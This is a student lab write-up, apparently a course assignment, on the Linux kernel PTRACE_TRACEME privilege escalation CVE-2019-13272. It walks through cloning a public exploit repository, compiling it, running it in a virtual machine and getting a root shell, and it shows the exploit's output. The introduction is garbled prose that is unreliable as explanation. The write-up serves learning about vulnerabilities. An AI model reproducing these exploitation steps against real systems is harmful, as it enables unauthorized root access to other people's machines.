Privilege Escalation (CVE 2019-13272)

IT19038742

Weerasooriya J.A.T.N

Introduction

Anyone with knowledge of the vulnerability involved in the implementation of the Service or Program Code may be given to their privilege source or administrator.

Different strategies are utilized to build clients' benefits, for example, PowerShell, executable parallels, Metasploit modules, and so on. Anyone makes their methods to design casualties' machine or server settings to work or cooperate with administrations. They have to check their authorizations of the present client, for example, record writable, document decipherable, token age, token robbery; and so forth. Programmers can keep up access and command over all administrations and make them increasingly vulnerable against ever being exploitative.

The Windows and Unix frameworks become unreliable if administrations and authorizations are not kept up appropriately and have permissions for world-writing. Subsequently, anybody can write their contents for execution purposes. This can cause extraordinary harm or helplessness on account of system administrations, and they can likewise trap casualties' secret information or change the progression of information, which can be a major loss.

About CVE-2019–13272

This vulnerability has 7.8 of high CVSS score.

“Before 5.1.17 in the Linux kernel, ptrace_link in the kernel / ptrace.c falsified the recording of the credentials of a process that wants to create a ptrace relationship, which allows local users to gain fixed access with parent-child root access. It allows obtaining a process relationship, where a parent relinquishes the privilege and executes the call (potentially controlled by an attacker Allows testing). A contributing factor is an issue of life (which can cause a panic). Another contributing factor is a misidentification of a ptrace connection as a privileged, which is exploitative (for example) through the Polkit’s pkexec assistant with PTRACE_TRACEME.”

These are the affected programs.

- linux: linux_kernel:2.6.30.2
- linux: linux_kernel:2.6.30.3
- linux: linux_kernel:2.6.30.4
- linux: linux_kernel:2.6.30.5
- linux: linux_kernel:2.6.30.6
- linux: linux_kernel:2.6.30.7
- linux: linux_kernel:2.6.30.8
- linux: linux_kernel:2.6.30.9
- linux: linux_kernel:2.6.30.10
- linux: linux_kernel:2.6.31

- debian: debian_linux:8.0
- debian: debian_linux:9.0
- debian: debian_linux:10.0

- fedora: fedora:29

Methord

First, we have to download the vulnerable operating system which is ubuntu 18.04LTS.
Then install it to vmware or virtual box,

```
tharindu@ubuntu:~$ cd Desktop
```

In the beginning we have to go to desktop directory.

“git clone https://github.com/jas502n/CVE-2019-13272.git”

Then execute this code to clone the code from github.

```
tharindu@ubuntu:~/Desktop/CVE-2019-13272$ ls
CVE-2019-13272.c  CVE-2019-13272.jpg  privilage  README.md
tharindu@ubuntu:~/Desktop/CVE-2019-13272$ gcc CVE-2019-13272.c -o privilage
```

Then go in to the cloned file. And compile the c code.

```
tharindu@ubuntu:~/Desktop/CVE-2019-13272$ ./privilage
```

After compiled execute that code.

```
Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
[.] Checking environment ...
[~] Done, looks good
[.] Searching for known helpers ...
[~] Found known helper: /usr/lib/gnome-settings-daemon/gsd-backlight-helper
[.] Using helper: /usr/lib/gnome-settings-daemon/gsd-backlight-helper
[.] Spawning suid process (/usr/bin/pkexec) ...
[.] Tracing midpid ...
[~] Attached to midpid
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
```

```
root@ubuntu:/home/tharindu/Desktop/CVE-2019-13272# whoami
root
```

At this point we have gained root privileges.

Difficulties that I faced

At the very first time I chose another topic that one also a privilege escalation. Its CVE 2017-0358. I tried to find a method and a way to exploit it. But I could not able to find a proper document to understand that vulnerability and a way to exploit it. So I had to change my topic. So I chose dirty cow privilege escalation vulnerability. Then I checked the xl sheet to confirm whether there were anyone else doing the same topic. Unfortunately there were. I spoke with him and asked is it ok to choose same topic. He said its ok. Then I started to do it. For this vulnerability there were plenty of methods and documents. Then I refer all and got an idea. So I had to download a the operating system which has the vulnerability. Ubuntu 12.4 downloaded and try to install it to windows vmware. Installed it but there were no graphical interface there ware only a command line. That I had to look for a solution on internet. Then tried some to solve it but could not. Then I install it to kali operating system. It worked. Then I tried to exploit it. However today(09/05/2020) we had a session about the assignment then sir said that we can not do the same topic. So I had to give it up. Then again tried to find a vulnerability that have enough documents and methods to understand it. So I found this vulnerability which is also privilege escalation its CVE number is 2019-13272. Then again I had to download a newer version of ubuntu to exploit it.

When I tried for the first time I had to install “git” package to the terminal to clone the code from the Github And also, “gcc” package to compile the code.

Using these codes I install the packages.

“Sudo apt install git” and “sudo apt install gcc”

After all done it worked.

References

Refer youtube videos also

https://nvd.nist.gov/vuln/detail/CVE-2019-13272

this the github link to founder of this vulnerability.

https://github.com/jas502n